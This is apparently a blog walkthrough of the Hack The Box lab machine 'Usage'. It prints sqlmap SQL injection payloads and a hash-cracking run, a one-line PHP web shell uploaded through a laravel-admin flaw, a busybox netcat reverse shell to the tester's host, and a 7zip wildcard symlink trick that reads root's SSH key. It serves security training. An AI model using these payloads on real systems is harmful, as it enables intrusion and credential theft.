Post

HTB: Usage Walkthrough

Overview

This post is intended to serve as my personal writeup for the HTB machine Usage.

HTB Usage Rank HTB Usage Rank

Machine Summary

The Usage machine starts with exploiting a SQL injection (SQLi) vulnerability in the usage.htb’s forgot-password feature. This allows for dumping the usage_blog database’s admin_users table and obtain admin credentials. The credentials can be used on the admin.usage.htb subdomain to gain access to a Laravel (v1.8.17) Administrator dashboard.

The specific version of Laravel-admin is vulnerable to CVE-2023-24249, allowing for arbitrary file upload and execution of PHP. From PHP execution we can gain access to the system as the dash user. Within one of the monit hidden files in dash’s home directory contains plaintext credentials for the Xander user.

The Xander user can execute a custom usage_management binary with sudo permissions. Decompiling the binary reveals that the script executes a 7zip command vulnerable to wildcard abuse. We can use an symlink file to read the root user’s private SSH key, successfully gaining root access to the system.

Technical Details

This section walks through each of the necessary steps taken to enumerate the system from an external perspective all the way to root access.

Nmap

The first step is to perform network reconnaissance (i.e. port scanning) to identify what protocols are open and available on the host. Reference the following for the specific nmap command used:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
──(kali㉿kali)-[~/HTB/Usage]
└─$ nmap --top-ports 1000 -sCV 10.10.11.18 -T5 -oN nmap-base.txt                                      
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-26 09:50 EDT
Nmap scan report for 10.10.11.18
Host is up (0.034s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 a0:f8:fd:d3:04:b8:07:a0:63:dd:37:df:d7:ee:ca:78 (ECDSA)
|_  256 bd:22:f5:28:77:27:fb:65:ba:f6:fd:2f:10:c7:82:8f (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://usage.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.05 seconds
  • --top-ports 1000 = only scan the top 1,000 most common TCP ports
  • -sCV = Default script scan (-sC) and service version fingerprinting (-sV)
  • -T5 = Fastest Nmap scanning setting (incredibly loud)
  • -oN = Store command output into plaintext format

In this case there are only two (2) TCP ports found to be open. There could be additional ones not within the top 1,000 most common range. However, for HTB boxes these usually suffices.

HTTP (80) Enumeration

HTB boxes tend to have their first route through exploiting some web-application service. In the Nmap output we can see that the IP address is not directly navigable; Therefore, we have to add an entry within our local DNS file:

1
root@kali:/home/kali/HTB/Usage# echo -e "# HTB Usage\n10.10.11.18\tusage.htb" >> /etc/hosts

Local Hosts File Local DNS File

Application Technologies

To identify what technologies the web-application is running I use a combination of FireFox’s Wappalyzer extension and the whatweb tool:

  1. Whatweb: kali@kali:~/HTB/Usage$ whatweb http://usage.htb
    1
    
    http://usage.htb [200 OK] Bootstrap[4.1.3], Cookies[XSRF-TOKEN,laravel_session], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], HttpOnly[laravel_session], IP[10.10.11.18], Laravel, PasswordField[password], Title[Daily Blogs], UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN], X-XSS-Protection[1; mode=block], nginx[1.18.0]
    
  2. Wappalzyer

Wappalyzer Extension Firefox Wappalyzer Extension

Walking the Application

I like to manually navigate the site first, and in doing so identified a login page, a forgot-password page, a registration page, and an Admin subdomain (admin.usage.htb). I added the admin subdomain to the /etc/hosts file.

Note, registering on the application does not give any additional clarity or insight into potential vectors.

Forgot-password SQLi

I started my testing to see if the login page and/or forgot password page are susceptible to SQL injection (SQLi). Sending a single quote ' into the forgot-password parameter causes a HTTP/1.1 500 Internal Server Error response. This indicates that the server-side code is not properly sanitizing the user’s input.

Forgot Password Error Forgot Password Error Response

I copy the entire HTTP POST request as seen above into a text-file called request.txt. I then use sqlmap to automate further enumeration of the SQLi vector:

1
sqlmap -r request.txt -p 'email' --batch --risk 3 --level 5 --proxy=http://127.0.0.1:8080
  • -r = Parse through HTTP Request in file
  • --batch = Dont ask for user input, use default behaviors instead
  • --risk 3 = Risk of tests to perform (Default 1, Max 3)
  • --level 5 = Level of tests to perform (Default 1, Max 5)
  • --proxy=http://127.0.0.1:8080 = Use BurpSuite as a proxy to connect to the target URL

SQLMap will run through various testing and finally outputs the following SQLi payload vector:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST parameter 'email' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 740 HTTP(s) requests:
---
Parameter: email (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: _token=dYO4vOgTHvWuFtokXlGhVLHXriYp8kYB1Yo8j2dB&email=' AND 8285=(SELECT (CASE WHEN (8285=8285) THEN 8285 ELSE (SELECT 6149 UNION SELECT 2422) END))-- WnyW

    Type: time-based blind
    Title: MySQL > 5.0.12 AND time-based blind (heavy query)
    Payload: _token=dYO4vOgTHvWuFtokXlGhVLHXriYp8kYB1Yo8j2dB&email=' AND 4736=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1)-- gecx
---
[12:10:39] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end DBMS: MySQL > 5.0.12

KEY TAKEWAYS:

  • Database Management System (DMBS) = MySQL
  • SQLi Payload Types: Boolean-based blind & Time-based blind

I will re-run the sqlmap command again but with two appended parameters:

  • --dump = Dump the Database table entries
  • -dmbs MySQL = Specify the DBMS system in use SQLMap will utilize the information from the previously conducted scan to expedite the process and skip right to dumping the DB’s contents.

SQLMap Database and Table Identified SQLMap Usage DB & Table

SQLMap identified the usage_blog database and the admin_users table so I will cancel the current sqlmap command and append the folllowing commands to expedite the enumeration process again:

  • -D usage_blog = Specify database to enumerate
  • -T admin_users = Designate table to dump entries from

From the above SQLMap commands we have gathered the following information:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
[12:50:03] [INFO] retrieved: id
[12:50:11] [INFO] retrieved: username
[12:50:41] [INFO] retrieved: password
[12:51:14] [INFO] retrieved: name
[12:51:29] [INFO] retrieved: avatar
[12:51:50] [INFO] retrieved: remember_token
[12:52:37] [INFO] retrieved: created_at
[12:53:14] [INFO] retrieved: updated_at
[12:53:58] [INFO] fetching entries for table 'admin_users' in database 'usage_blog'
[12:53:58] [INFO] fetching number of entries for table 'admin_users' in database 'usage_blog'
[12:53:58] [INFO] retrieved: 1
[12:54:00] [INFO] retrieved: Administrator
[12:54:47] [INFO] retrieved: 
[12:55:22] [INFO] retrieved: 2023-08-13 02:48:26
[12:56:39] [INFO] retrieved: 1
[12:56:42] [INFO] retrieved: $2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2
[13:01:18] [INFO] retrieved: kThXIKu7GhLpgwStz7fCFxjDomCYS1SmPpxwEkzv1Sdzva0qLYaDhllwrsLT
[13:06:00] [INFO] retrieved: 2023-08-23 06:02:19
[13:07:25] [INFO] retrieved: admin
  • username = admin
  • password = $2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2

Cracking Administrator Hash

We now have identified the Administrator’s username and their password hash. Using hashid & just general knowledge we identify this hash as Blowfish(OpenBSD):

1
2
3
4
5
kali@kali:~/HTB/Usage$ cat admin.hash|hashid
Analyzing '$2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2'
[+] Blowfish(OpenBSD) 
[+] Woltlab Burning Board 4.x 
[+] bcrypt

Hashcat Wiki’s Example Hashes provides the Blowfish hash identifier as 3200 We then use hashcat to crack the hash:

1
hashcat -a 0 -m 3200 admin.hash /usr/share/wordlists/rockyou.txt
  • -a 0 = Toggle Straight Mode (i.e. top down approach through wordlist)
  • -m 3200 = Specify the hash type as Blowfish
  • admin.hash = Text file containing the obtained hash
  • /usr/share/wordlist/rockyou.txt = Wordlist to test passwords against hash

Hash Cracked Hashcat Cracked Hash

Admin Dashboard

We can now login to the admin.usage.htb subdomain with the Administrator:whatever1 credentials.

Admin Dashboard Usage Admin Dashboard

Looking at the footer we see Verion 1.8.17 and in the dependencies list we see encore/laravel-admin 1.8.18. So it is safe to assume that the dashboard we are currently in is laravel-admin v1.8.17; Therefore, I will research exploits for this specific version:

Laravel Exploit Google Search Laravel Exploit Google Searching

Gaining A Shell

Looks like CVE-2023-24249 is for exploiting an Arbitrary File Upload Vulnerability in Laravel-admin v.1.8.19, which allows attacked to execute arbitrary code via craft PHP file.

FlyD provides a Proof of Concept (PoC) walkthrough for exploiting this vulnerability, which basically just requires intercepting the image upload request and changing the filename to include .php. FlyD Laravel Exploit PoC FlyD Arbitrary Upload Bypass PoC

  1. Create PHP Web Shell (save with .jpg Extension):
    1
    
    <?php SYSTEM($_GET['cmd']); ?>
    

PHP Web Shell PHP Web Shell in JPG

  1. Intercept Upload Request (w/BurpSuite) && change the Parameters:

Laravel Arbitrary Upload Request Arbitrary File Upload Request

  1. Access the PHP Shell & Ensure RCE:

Laravel RCE Proof Laravel Webshell RCE

  1. Start a netcat listener to catch the shell:
    1
    
    nc -lvnp 4444
    
    • -l = listen mode (i.e. wait for connection attempts)
    • -v = verbose mode
    • -n = no DNS (IP Address only)
    • -p 4444 = Specify port to listen for connection on
  2. Execute the Following reverse-shell payload: busybox nc 10.10.14.16 4444 -e sh & make sure to URL encode it.

Netcat Shell Netcat Shell

User Dash -> Xander

With that we have a successful shell as the dash user, which gets us the user.txt flag. I will first upgrade to a TTY shell with the following command(s):

1
SHELL=/bin/sh script -q /dev/null
  • SHELL = Environment variable Name
  • /bin/sh = setting shell to bash to execute the following command(s)
  • script -q /dev/null = Make typescript file of a terminal session, executes quietly (-q) and makes an empty log session /dev/null

TTY Shell Upgrade TTY Shell

I noticed that the dash user has an SSH Private-key /home/dash/.ssh/id_rsa stored on his system. Copy this to our own system, Change the permissions chmod 600 id_rsa, and SSH into the system using the private key:

1
ssh -i id_rsa dash@usage.htb

On the SSH system I notice some hidden monit files: Dash Monit Files Dash Monit Config Files

Outputting these files we find some hard credentials:

1
cat ~/.monit*

Monit Plaintext Creds Monit Plaintext Credentials

Turns out this password is for the Xander user:

Xander Successful Login Xander Successful Login

Xander -> Root

Once logged in as Xander we can see that the user can execute /usr/bin/usage_management with sudo permissions:

1
2
3
4
5
6
7
8
xander@usage:~$ sudo -l
Matching Defaults entries for xander on usage:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User xander may run the following commands on usage:
    (ALL : ALL) NOPASSWD: /usr/bin/usage_management

Seems to be a custom Linux binary: usage_mangement File Info Binary Details

Binary Execution Example usage_management Execution

Download & Upload the binary to DogBolt Decompiler in order to analyze the file.

1
scp xander@usage.htb:/usr/bin/usage_management .

Using DogBolt’s Built-in angr Decompiler tool we can see the underlying commands that the usage_management binary is executing upon selection:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
void backupWebContent()
{
    char v0;  // [bp-0x8]
    unsigned long long v2;  // rbp

    v2 = &v0;
    if (chdir("/var/www/html"))
    {
        perror("Error changing working directory to /var/www/html");
        return;
    }
    system("/usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- *");
    return;
}

void backupMysqlData()
{
    char v0;  // [bp-0x8]
    unsigned long long v2;  // rbp

    v2 = &v0;
    system("/usr/bin/mysqldump -A > /var/backups/mysql_backup.sql");
    return;
}

void resetAdminPassword()
{
    char v0;  // [bp-0x8]
    unsigned long long v2;  // rbp

    v2 = &v0;
    puts("Password has been reset.");
    return;
}

Exploiting 7zip Wildcard

We can see that the “1. Project Backup” option is executing 7zip with the following options:

1
/usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- *
  • a = Add files to archive
  • /var/backup/project.zip == Archive Destination
  • -tzip = Type of archive is ZIP
  • -snl= Store symbolic links as links
  • -mmt = Set number of CPU Threads
  • -- = Stop switches and start parsing through files
  • * = Wildcard (ZIP everything)

Reference the HackTricks’ Wildcard Spare Tricks for a list of binaries and applicable wildcard exploitation techniques. In this case for 7zip HackTricks lists the following:

HackTricks 7z Exploit HackTrickz 7z Wildcard Abuse

Use the following steps in order exploit the 7z command being ran through the usage_management binary:

  1. Change to the /var/www/html Directory

Using the source code from DogBolt we know that the binary is archiving all files within the /var/www/html directory. Navigate to this directory && check the permissions:

/var/www/html Directory Permissions /var/www/html Directory Permissions

In this case the xander group is able to RWX over the directory.

  1. Read the Root user’s Private SSH Key:
1
2
touch @priv_key
ln -s /root/.ssh/id_rsa ./priv_key

Symlink File Created Symlnk File Created

  1. Execute the usage_management’s Project Backup option:

(INSERT Root ssh key outputted IMAGE) Root SSH Private Key Root SSH Private Key

As HackTricks noted the content of the file path we specified is outputted as error. We can copy this to a file && clean it up:

1
cat root_rsa|cut --delimiter " : " -f 1

Change the Private key’s permissions and use it to login as root: Root SSH Login Root User SSH Access

This post is licensed under CC BY 4.0 by the author.